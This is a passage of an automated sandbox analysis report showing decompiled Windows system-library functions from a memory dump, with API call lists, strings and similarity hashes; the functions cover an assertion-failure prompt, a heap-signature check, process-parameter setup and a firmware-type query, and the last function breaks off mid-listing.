				intOrPtr _t17;
				char _t23;
				void* _t24;
				void* _t26;
				void* _t29;
				intOrPtr _t30;
				void* _t34;
				intOrPtr _t35;
				intOrPtr _t36;
				signed int _t37;
				void* _t38;
				void* _t43;
				void* _t44;

				_v8 =  *0x6b63d360 ^ _t37;
				_t30 = _a8;
				_t36 = _a16;
				_t35 = _a4;
				_push( &_v732);
				E6B59DDD0( &_v732, __ecx, _t34, _t35, _t36);
				while(1) {
					_t17 = _t36;
					if(_t36 == 0) {
						_t17 = 0x6b5248a4;
					}
					_push(_a12);
					_push(_t30);
					_push(_t35);
					E6B5D5720(0x65, 0, "\n*** Assertion failed: %s%s\n***   Source File: %s, line %ld\n\n", _t17);
					_t38 = _t38 + 0x1c;
					if(E6B5F8D47() == 0) {
						break;
					}
					if(E6B5D5780("Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ",  &_v736, 2) == 0) {
						asm("int3");
						L19:
						_push(0xc0000001);
						_push(0xffffffff);
						_t19 = E6B5897C0();
						break;
					}
					_t23 = _v736;
					_t43 = _t23 - 0x62;
					if(_t43 > 0) {
						_t19 = _t23 - 0x69;
						L10:
						if(_t44 == 0) {
							break;
						}
						_t24 = _t19 - 6;
						if(_t24 == 0) {
							L15:
							_t19 = E6B5D5720(0x65, 0, "Execute \'.cxr %p\' to dump context\n",  &_v732);
							_t38 = _t38 + 0x10;
							asm("int3");
							if(_v736 == 0x6f) {
								break;
							}
							if(_v736 != 0x4f) {
								continue;
							}
							break;
						}
						_t26 = _t24 - 1;
						if(_t26 == 0) {
							goto L19;
						}
						if(_t26 == 4) {
							_push(0xc0000001);
							_push(0xfffffffe);
							E6B589A30();
						}
						continue;
					}
					if(_t43 == 0) {
						goto L15;
					}
					_t29 = _t23 - 0x42;
					_t44 = _t29;
					if(_t44 == 0) {
						goto L15;
					}
					_t19 = _t29 - 7;
					goto L10;
				}
				return E6B58B640(_t19, _t30, _v8 ^ _t37, _t34, _t35, _t36);
			}

0x6b5e5112
0x6b5e5116
0x6b5e5120
0x6b5e5124
0x6b5e5127
0x6b5e5128
0x6b5e512d
0x6b5e512d
0x6b5e5131
0x6b5e5133
0x6b5e5133
0x6b5e5138
0x6b5e513b
0x6b5e513c
0x6b5e5147
0x6b5e514c
0x6b5e5156
0x00000000
0x00000000
0x6b5e5171
0x6b5e51de
0x6b5e51df
0x6b5e51df
0x6b5e51e4
0x6b5e51e6
0x00000000
0x6b5e51e6
0x6b5e5173
0x6b5e517a
0x6b5e517d
0x6b5e518b
0x6b5e518e
0x6b5e518e
0x00000000
0x00000000
0x6b5e5190
0x6b5e5193
0x6b5e51ad
0x6b5e51bd
0x6b5e51c2
0x6b5e51c5
0x6b5e51cd
0x00000000
0x00000000
0x6b5e51d6
0x00000000
0x00000000
0x00000000
0x6b5e51dc
0x6b5e5195
0x6b5e5198
0x00000000
0x00000000
0x6b5e519d
0x6b5e519f
0x6b5e51a4
0x6b5e51a6
0x6b5e51a6
0x00000000
0x6b5e519d
0x6b5e517f
0x00000000
0x00000000
0x6b5e5181
0x6b5e5181
0x6b5e5184
0x00000000
0x00000000
0x6b5e5186
0x00000000
0x6b5e5186
0x6b5e51fb

APIs

RtlCaptureContext.1105(?,00000000,00000000,?), ref: 6B5E5128
DbgPrintEx.1105(00000065,00000000,*** Assertion failed: %s%s*** Source File: %s, line %ld,6B5AD3E5,000001B2,?,?,?,00000000,00000000,?), ref: 6B5E5147
DbgPrompt.1105(Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6B5E516A
ZwTerminateThread.1105(000000FE,C0000001,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6B5E51A6
DbgPrintEx.1105(00000065,00000000,Execute '.cxr %p' to dump context,?,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6B5E51BD
ZwTerminateProcess.1105(000000FF,C0000001,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6B5E51E6

Strings

Execute '.cxr %p' to dump context, xrefs: 6B5E51B4
Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? , xrefs: 6B5E5165
*** Assertion failed: %s%s*** Source File: %s, line %ld, xrefs: 6B5E513E
O, xrefs: 6B5E51CF

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: PrintTerminate$CaptureContextProcessPromptThread
String ID: *** Assertion failed: %s%s*** Source File: %s, line %ld$Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? $Execute '.cxr %p' to dump context$O
API String ID: 3567286327-2386179708
Opcode ID: b74d8d0a1b39eb7307b021084197e675f107d7c067a81064009cc3d2dc4c99de
Instruction ID: cbfad34a2426d3d9f349418477afa4fb938a491264f54118f9fd19798f5340d0
Opcode Fuzzy Hash: b74d8d0a1b39eb7307b021084197e675f107d7c067a81064009cc3d2dc4c99de
Instruction Fuzzy Hash: B5219B7280015D7AFB248A78AC65FEA3768DB42744F6006D2FB60F6081E66CDE03C771

Uniqueness

Uniqueness Score: -1.00%

Function 6B5440E1, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E6B5440E1(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6B54B150();
					} else {
						E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6B54B150("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E6B54B150(", passed to %s", _t29);
					}
					_push("\n");
					E6B54B150();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x6b636378 = 1;
						asm("int3");
						 *0x6b636378 = 0;
					}
					return 0;
				}
				return 1;
			}

0x6b5440e6
0x6b5440e8
0x6b5440f1
0x6b5a042d
0x6b5a044c
0x6b5a0451
0x6b5a042f
0x6b5a0444
0x6b5a0449
0x6b5a045d
0x6b5a0466
0x6b5a046e
0x6b5a0474
0x6b5a0475
0x6b5a047a
0x6b5a048a
0x6b5a048c
0x6b5a0493
0x6b5a0494
0x6b5a0494
0x00000000
0x6b5a049b
0x00000000

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,6B6038D6), ref: 6B5A0444
DbgPrint.1105(Invalid heap signature for heap at %p,?,?,?,?,?,?,?,6B6038D6), ref: 6B5A045D
DbgPrint.1105(, passed to %s,RtlGetUserInfoHeap,?,?,?,?,?,?,6B6038D6), ref: 6B5A046E
DbgPrint.1105(6B526B94,?,?,?,?,?,?,6B6038D6), ref: 6B5A047A

Strings

RtlGetUserInfoHeap, xrefs: 6B5A0468
HEAP[%wZ]: , xrefs: 6B5A043F
Invalid heap signature for heap at %p, xrefs: 6B5A0458
HEAP: , xrefs: 6B5A044C
, passed to %s, xrefs: 6B5A0469

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlGetUserInfoHeap
API String ID: 3558298466-609737958
Opcode ID: 740a30736699dd290b53d314cd60394bb2f58009b961686179e5ac7ed0d21f27
Instruction ID: 1f8fd9eacb0287be17c576144c0d313d54bdb803ca98a97410db5e8513badc51
Opcode Fuzzy Hash: 740a30736699dd290b53d314cd60394bb2f58009b961686179e5ac7ed0d21f27
Instruction Fuzzy Hash: 4401FC36015640DEF315AB74D45DFDA77A8EB42B34F1950AAF00857681CBBD9840C521

Uniqueness

Uniqueness Score: -1.00%

Function 6B546800, Relevance: 16.9, APIs: 11, Instructions: 373
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E6B546800(void* __ebx, void* __edi, void* __esi, void** _a4, signed short* _a8, intOrPtr _a12, signed short* _a16, signed short* _a20, void* _a24, intOrPtr* _a28, intOrPtr* _a32, intOrPtr* _a36, intOrPtr* _a40, signed char _a44) {
				char _v5;
				void* _v12;
				void _v16;
				int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				long _t124;
				void* _t125;
				void* _t126;
				void* _t127;
				void* _t129;
				void* _t130;
				void* _t131;
				intOrPtr* _t132;
				int _t153;
				long _t154;
				void* _t158;
				void _t162;
				void* _t194;
				int _t196;
				void* _t205;
				void* _t206;
				signed short* _t207;
				void* _t209;
				signed int _t211;
				intOrPtr* _t212;
				signed short* _t213;
				signed int _t215;
				signed short* _t217;
				void* _t219;
				void _t228;
				void _t229;
				signed int _t238;
				intOrPtr _t256;
				void* _t262;
				short _t268;
				intOrPtr _t269;
				signed int _t271;
				void* _t272;
				intOrPtr* _t273;
				void* _t275;
				intOrPtr* _t276;
				long _t278;
				void* _t279;

				_t275 = __esi;
				_t272 = __edi;
				_t205 = __ebx;
				if((_a44 & 0xfffffffe) != 0) {
					L61:
					return 0xc000000d;
				}
				_v24 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				if(E6B546BF3(_a8) < 0) {
					goto L61;
				}
				_t256 = _a12;
				_t215 = 0;
				if(_t256 != 0) {
					_t124 = E6B546BF3(_t256);
					_t215 = 0;
				} else {
					_t124 = 0;
				}
				if(_t124 < 0) {
					goto L61;
				} else {
					_push(_t205);
					_v5 = _t215;
					_v32 = _t215;
					_t217 = _a16;
					_t206 = 0x5c;
					if(_t217 == 0) {
						L12:
						_t207 = _a20;
						if(_t207 == 0) {
							_t125 = 0;
						} else {
							_t125 = E6B546BF3(_t207);
						}
						if(_t125 < 0) {
							L65:
							_t126 = 0xc000000d;
							goto L53;
						} else {
							_t218 = _a28;
							if(_a28 == 0) {
								_t219 = 0;
								_t127 = 0;
							} else {
								_t127 = E6B546BF3(_t218);
								_t219 = 0;
							}
							if(_t127 < 0) {
								goto L65;
							} else {
								_t128 = _a32;
								if(_a32 == 0) {
									_t129 = _t219;
								} else {
									_t129 = E6B546BF3(_t128);
									_t219 = 0;
								}
								if(_t129 < 0) {
									goto L65;
								} else {
									_push(_t275);
									_t276 = _a36;
									if(_t276 == 0) {
										_t130 = _t219;
									} else {
										_t130 = E6B546BF3(_t276);
										_t219 = 0;
									}
									if(_t130 < 0) {
										_t126 = 0xc000000d;
										goto L52;
									} else {
										_push(_t272);
										_t273 = _a40;
										if(_t273 == 0) {
											_t131 = _t219;
										} else {
											_t131 = E6B546BF3(_t273);
										}
										if(_t131 < 0) {
											_t126 = 0xc000000d;
											goto L51;
										} else {
											if(_t207 == 0) {
												_t207 = _a8;
												_a20 = _t207;
											}
											_t132 = _a28;
											if(_t132 == 0) {
												_t132 = 0x6b521ab0;
												_a28 = 0x6b521ab0;
											}
											if(_a32 == 0) {
												_a32 = 0x6b521ab0;
											}
											if(_t276 == 0) {
												_t276 = 0x6b521ab0;
												_a36 = 0x6b521ab0;
											}
											if(_t273 == 0) {
												_t273 = 0x6b521ab0;
											}
											_t209 = 3;
											_t278 = 0;
											_t228 = (( *_t207 & 0x0000ffff) + 0x00000005 & 0xfffffffc) + (( *(_t132 + 2) & 0x0000ffff) + _t209 & 0xfffffffc) + (( *_a8 & 0x0000ffff) + 0x00000005 & 0xfffffffc) + (( *(_a32 + 2) & 0x0000ffff) + _t209 & 0xfffffffc) + 0x4ac + (( *(_t276 + 2) & 0x0000ffff) + _t209 & 0xfffffffc);
											_v16 = _t228;
											if( *_t273 != 0) {
												_t228 = _t228 + (( *(_t273 + 2) & 0x0000ffff) + _t209 & 0xfffffffc);
												_v16 = _t228;
											}
											if(_t256 != 0) {
												_t229 = _t228 + (( *(_t256 + 2) & 0x0000ffff) + _t209 & 0xfffffffc);
												_v16 = _t229;
											}
											if(_a24 != _t278) {
												_t153 = E6B57585B(_a24, 1);
												_t229 = _v16;
											} else {
												_t153 =  *((intOrPtr*)(_v24 + 0x290));
											}
											_v20 = _t153;
											_t211 = _t153 + 0x00000003 & 0xfffffffc;
											if(_t211 < _t153) {
												L77:
												_t126 = 0xc0000095;
												goto L51;
											} else {
												while(1) {
													_t154 = _t211 + _t229;
													if(_t154 < _t229) {
														goto L77;
													}
													_t279 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t278, _t154);
													if(_t279 == 0) {
														_t126 = 0xc000009a;
														L51:
														L52:
														L53:
														return _t126;
													}
													_t158 = _t279 + _v16;
													_v12 = _t158;
													if(_a24 != 0) {
														memcpy(_t158, _a24, _v20);
														L42:
														memset(_t279, 0, 0x2a4);
														_t162 = _v16;
														 *_t279 = _t162;
														 *(_t279 + 4) = _t162;
														 *(_t279 + 0x290) = _t211;
														 *((intOrPtr*)(_t279 + 0xc)) = 0;
														_t53 = _t279 + 0x24; // 0x24
														_t212 = _t53;
														 *((intOrPtr*)(_t279 + 0x2c)) = 0;
														 *((intOrPtr*)(_t279 + 0x48)) = _v12;
														_t57 = _t279 + 0x2a4; // 0x2a4
														_v12 = _t57;
														 *((intOrPtr*)(_t279 + 8)) = 1;
														 *(_t279 + 0x14) =  *(_v24 + 0x14) & 1;
														_t169 = _a16;
														if(_a16 == 0) {
															L6B55EEF0(0x6b6379a0);
															E6B546C14( &_v12, _t212, _v24 + 0x24, 0x208);
															E6B55EB70( &_v12, 0x6b6379a0);
														} else {
															E6B546C14( &_v12, _t212, _t169, 0x208);
															if(_v5 != 0) {
																_t268 = 0x5c;
																 *((short*)( *((intOrPtr*)(_t279 + 0x28)) + _v32 * 2)) = _t268;
																_t194 = 2;
																 *_t212 =  *_t212 + _t194;
															}
														}
														_t234 = _a12;
														if(_a12 != 0) {
															_t104 = _t279 + 0x30; // 0x30
															E6B546C14( &_v12, _t104, _t234,  *(_t234 + 2) & 0x0000ffff);
														}
														_t72 = _t279 + 0x38; // 0x38
														E6B546C14( &_v12, _t72, _a8, ( *_a8 & 0x0000ffff) + 2);
														_t213 = _a20;
														_t75 = _t279 + 0x40; // 0x40
														_t262 = _t75;
														_t238 =  *_t213 & 0x0000ffff;
														_t180 = _t213[1] & 0x0000ffff;
														if(_t238 != (_t213[1] & 0x0000ffff)) {
															_t180 = _t238 + 2;
														}
														E6B546C14( &_v12, _t262, _t213, _t180);
														_t80 = _t279 + 0x70; // 0x70
														E6B546C14( &_v12, _t80, _a28,  *(_a28 + 2) & 0x0000ffff);
														_t84 = _t279 + 0x78; // 0x78
														E6B546C14( &_v12, _t84, _a32,  *(_a32 + 2) & 0x0000ffff);
														_t88 = _t279 + 0x80; // 0x80
														E6B546C14( &_v12, _t88, _a36,  *(_a36 + 2) & 0x0000ffff);
														if( *_t273 != 0) {
															_t118 = _t279 + 0x88; // 0x88
															E6B546C14( &_v12, _t118, _t273,  *(_t273 + 2) & 0x0000ffff);
														}
														if((_a44 & 0x00000001) == 0) {
															_t279 = E6B5CBCB0(_t279);
														}
														_t126 = 0;
														 *_a4 = _t279;
														goto L51;
													}
													L6B55EEF0(0x6b6379a0);
													_t269 = _v24;
													_t196 =  *(_t269 + 0x290);
													_v20 = _t196;
													_t251 = _t196 + 0x00000003 & 0xfffffffc;
													_v28 = _t196 + 0x00000003 & 0xfffffffc;
													if(_t196 > _t211) {
														E6B55EB70(_t251, 0x6b6379a0);
														_t278 = 0;
														RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t279);
														_t211 = _v28;
														_t229 = _v16;
														if(_t211 >= _v20) {
															continue;
														}
														goto L77;
													}
													memcpy(_v12,  *(_t269 + 0x48), _t196);
													E6B55EB70(_t251, 0x6b6379a0);
													_t211 = _v28;
													goto L42;
												}
												goto L77;
											}
										}
									}
								}
							}
						}
					}
					_t271 = ( *_t217 & 0x0000ffff) >> 1;
					_v32 = _t271;
					if(E6B546BF3(_t217) < 0 || _t271 == 0) {
						goto L65;
					} else {
						if( *((intOrPtr*)(_t217[2] + _t271 * 2 - 2)) == _t206) {
							L11:
							_t256 = _a12;
							goto L12;
						}
						if(_t271 > 0x103) {
							goto L65;
						}
						_v5 = 1;
						goto L11;
					}
				}
			}

0x6b546800
0x6b546800
0x6b546800
0x6b54680f
0x6b5a1b26
0x00000000
0x6b5a1b26
0x6b546821
0x6b54682b
0x00000000
0x00000000
0x6b546831
0x6b546834
0x6b546838
0x6b546b68
0x6b546b6d
0x6b54683e
0x6b54683e
0x6b54683e
0x6b546842
0x00000000
0x6b546848
0x6b546848
0x6b546849
0x6b54684c
0x6b54684f
0x6b546854
0x6b546857
0x6b546893
0x6b546893
0x6b546898
0x6b5a1b30
0x6b54689e
0x6b5468a0
0x6b5468a0
0x6b5468a7
0x6b5a1b47
0x6b5a1b47
0x00000000
0x6b5468ad
0x6b5468ad
0x6b5468b2
0x6b5a1b37
0x6b5a1b39
0x6b5468b8
0x6b5468b8
0x6b5468bd
0x6b5468bd
0x6b5468c1
0x00000000
0x6b5468c7
0x6b5468c7
0x6b5468cc
0x6b5a1b40
0x6b5468d2
0x6b5468d4
0x6b5468d9
0x6b5468d9
0x6b5468dd
0x00000000
0x6b5468e3
0x6b5468e3
0x6b5468e4
0x6b5468e9
0x6b5a1b51
0x6b5468ef
0x6b5468f1
0x6b5468f6
0x6b5468f6
0x6b5468fa
0x6b5a1b58
0x00000000
0x6b546900
0x6b546900
0x6b546901
0x6b546906
0x6b5a1b62
0x6b54690c
0x6b54690e
0x6b54690e
0x6b546915
0x6b5a1b69
0x00000000
0x6b54691b
0x6b54691d
0x6b5a1b73
0x6b5a1b76
0x6b5a1b76
0x6b546923
0x6b54692d
0x6b5a1b7e
0x6b5a1b80
0x6b5a1b80
0x6b546937
0x6b5a1b88
0x6b5a1b88
0x6b54693f
0x6b5a1b90
0x6b5a1b92
0x6b5a1b92
0x6b546947
0x6b5a1b9a
0x6b5a1b9a
0x6b546959
0x6b54698f
0x6b546991
0x6b546993
0x6b546999
0x6b5a1baa
0x6b5a1bac
0x6b5a1bac
0x6b5469a1
0x6b546b7d
0x6b546b7f
0x6b546b7f
0x6b5469aa
0x6b546b8d
0x6b546b92
0x6b5469b0
0x6b5469b3
0x6b5469b3
0x6b5469bc
0x6b5469bf
0x6b5469c4
0x6b5a1bdf
0x6b5a1bdf
0x00000000
0x6b5469ca
0x6b5469ca
0x6b5469ca
0x6b5469cf
0x00000000
0x00000000
0x6b5469e5
0x6b5469e9
0x6b5a1c0f
0x6b546b5d
0x6b546b5e
0x6b546b5f
0x00000000
0x6b546b5f
0x6b5469f2
0x6b5469f8
0x6b5469fb
0x6b546ba1
0x6b546a44
0x6b546a4d
0x6b546a52
0x6b546a57
0x6b546a5a
0x6b546a62
0x6b546a68
0x6b546a6b
0x6b546a6b
0x6b546a6e
0x6b546a74
0x6b546a77
0x6b546a7d
0x6b546a83
0x6b546a8b
0x6b546a8e
0x6b546a93
0x6b546bb3
0x6b546bc9
0x6b546bd3
0x6b546a99
0x6b546aa4
0x6b546aad
0x6b546ab7
0x6b546aba
0x6b546abe
0x6b546abf
0x6b546abf
0x6b546aad
0x6b546ac2
0x6b546ac7
0x6b546be1
0x6b546be9
0x6b546be9
0x6b546ad0
0x6b546ade
0x6b546ae3
0x6b546ae6
0x6b546ae6
0x6b546ae9
0x6b546aec
0x6b546af3
0x6b546af5
0x6b546af5
0x6b546afd
0x6b546b05
0x6b546b11
0x6b546b19
0x6b546b25
0x6b546b2d
0x6b546b3c
0x6b546b46
0x6b5a1bed
0x6b5a1bf8
0x6b5a1bf8
0x6b546b50
0x6b5a1c08
0x6b5a1c08
0x6b546b59
0x6b546b5b
0x00000000
0x6b546b5b
0x6b546a06
0x6b546a0b
0x6b546a0e
0x6b546a14
0x6b546a1a
0x6b546a1d
0x6b546a22
0x6b5a1bb9
0x6b5a1bc5
0x6b5a1bcb
0x6b5a1bd0
0x6b5a1bd3
0x6b5a1bd9
0x00000000
0x00000000
0x00000000
0x6b5a1bd9
0x6b546a2f
0x6b546a3c
0x6b546a41
0x00000000
0x6b546a41
0x00000000
0x6b5469ca
0x6b5469c4
0x6b546915
0x6b5468fa
0x6b5468dd
0x6b5468c1
0x6b5468a7
0x6b54685c
0x6b54685e
0x6b546868
0x00000000
0x6b546876
0x6b54687e
0x6b546890
0x6b546890
0x00000000
0x6b546890
0x6b546886
0x00000000
0x00000000
0x6b54688c
0x00000000
0x6b54688c
0x6b546868

APIs

RtlAllocateHeap.1105(?,00000000,?), ref: 6B5469E0
RtlEnterCriticalSection.1105(6B6379A0,?,00000000,?), ref: 6B546A06
memcpy.1105(?,?,?,6B6379A0,?,00000000,?), ref: 6B546A2F
RtlLeaveCriticalSection.1105(6B6379A0), ref: 6B546A3C
memset.1105(00000000,00000000,000002A4,6B6379A0), ref: 6B546A4D

Part of subcall function 6B546C14: memcpy.1105(?,?,?,?,00000000,00000024,?,?,6B546BCE,?,00000208,6B6379A0,?,?,6B6379A0), ref: 6B546C39
Part of subcall function 6B546C14: memset.1105(00000208,00000000,00000208,?,00000000,00000024,?,?,6B546BCE,?,00000208,6B6379A0,?,?,6B6379A0), ref: 6B546C71

RtlDeNormalizeProcessParams.1105(00000000,?,?,00000000,?,?,?,?,?,?,-00000002,?,00000208), ref: 6B5A1C03

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSectionmemcpymemset$AllocateEnterHeapLeaveNormalizeParamsProcess
String ID:
API String ID: 2315816726-0
Opcode ID: ae9d3da1817f9f2eb6f10fd09eca11ff064265fe664f981dda7f6da29ad1f5c5
Instruction ID: b21f68ae5780a88a6f9c792f863ae90459f311a2a9f1a8a53b43fc02f51ff52a
Opcode Fuzzy Hash: ae9d3da1817f9f2eb6f10fd09eca11ff064265fe664f981dda7f6da29ad1f5c5
Instruction Fuzzy Hash: C1D1D371A0031A9BEB04CF68C891BEE77B4EF45B18F0445ADEA65DB280E77CD945CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6B5C51BE, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 173
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6B5C51BE(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t101;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				void* _t108;
				signed int _t110;
				void* _t113;
				int _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0x6b6205f0);
				E6B59D0E8(__ebx, __edi, __esi);
				 *(_t118 - 0x80) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					L6B55EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *(_t118 - 0x80);
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E6B5C53CA(0);
						return E6B59D130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					memcpy(_t108, _t101, _t115);
					 *((short*)( *(_t118 - 0x80) + _t115)) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E6B563690(1, _t117, 0x6b521810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *(_t118 - 0x70) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E6B58AA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8,  *(_t118 - 0x70));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *(_t118 - 0x70));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E6B58AA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E6B5C500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t101 >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E6B589860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x6b5c51be
0x6b5c51c3
0x6b5c51c8
0x6b5c51cd
0x6b5c51d0
0x6b5c51d3
0x6b5c51d8
0x6b5c51db
0x6b5c51de
0x6b5c51e0
0x6b5c51e3
0x6b5c51e6
0x6b5c51e8
0x6b5c5342
0x6b5c5351
0x6b5c5356
0x6b5c535a
0x6b5c5360
0x6b5c5363
0x6b5c5366
0x6b5c5369
0x6b5c5369
0x6b5c536b
0x6b5c536b
0x6b5c5370
0x6b5c53a3
0x6b5c53a4
0x6b5c53a6
0x6b5c53ab
0x6b5c53ab
0x6b5c53ae
0x6b5c53ae
0x6b5c53b5
0x6b5c53bf
0x6b5c53bf
0x6b5c5375
0x6b5c5396
0x6b5c53a0
0x6b5c53a0
0x00000000
0x6b5c5396
0x6b5c5377
0x6b5c5379
0x6b5c537f
0x6b5c538c
0x6b5c5390
0x00000000
0x6b5c5390
0x6b5c51ee
0x6b5c51f1
0x6b5c5301
0x6b5c5310
0x6b5c5315
0x6b5c5318
0x6b5c531b
0x6b5c5320
0x6b5c532e
0x6b5c5331
0x00000000
0x6b5c5331
0x6b5c5328
0x6b5c5329
0x00000000
0x6b5c5329
0x6b5c51fa
0x6b5c5235
0x6b5c5236
0x6b5c5239
0x6b5c523f
0x6b5c5240
0x6b5c5241
0x6b5c5242
0x6b5c5246
0x6b5c5247
0x6b5c524e
0x6b5c5251
0x6b5c5267
